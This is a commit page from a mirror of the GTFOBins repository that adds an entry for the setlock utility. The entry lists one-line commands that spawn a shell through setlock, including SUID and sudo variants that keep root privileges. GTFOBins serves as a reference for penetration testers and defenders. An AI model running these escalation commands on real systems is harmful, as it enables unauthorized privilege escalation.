mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add setlock
This commit is contained in:
commit
d69476a0f6
11
_gtfobins/setlock.md
Normal file
11
_gtfobins/setlock.md
Normal file
@ -0,0 +1,11 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
setlock $TF /bin/sh
|
||||
suid:
|
||||
- code: ./setlock - /bin/sh -p
|
||||
sudo:
|
||||
- code: sudo setlock - /bin/sh
|
||||
---
|
Loading…
Reference in New Issue
Block a user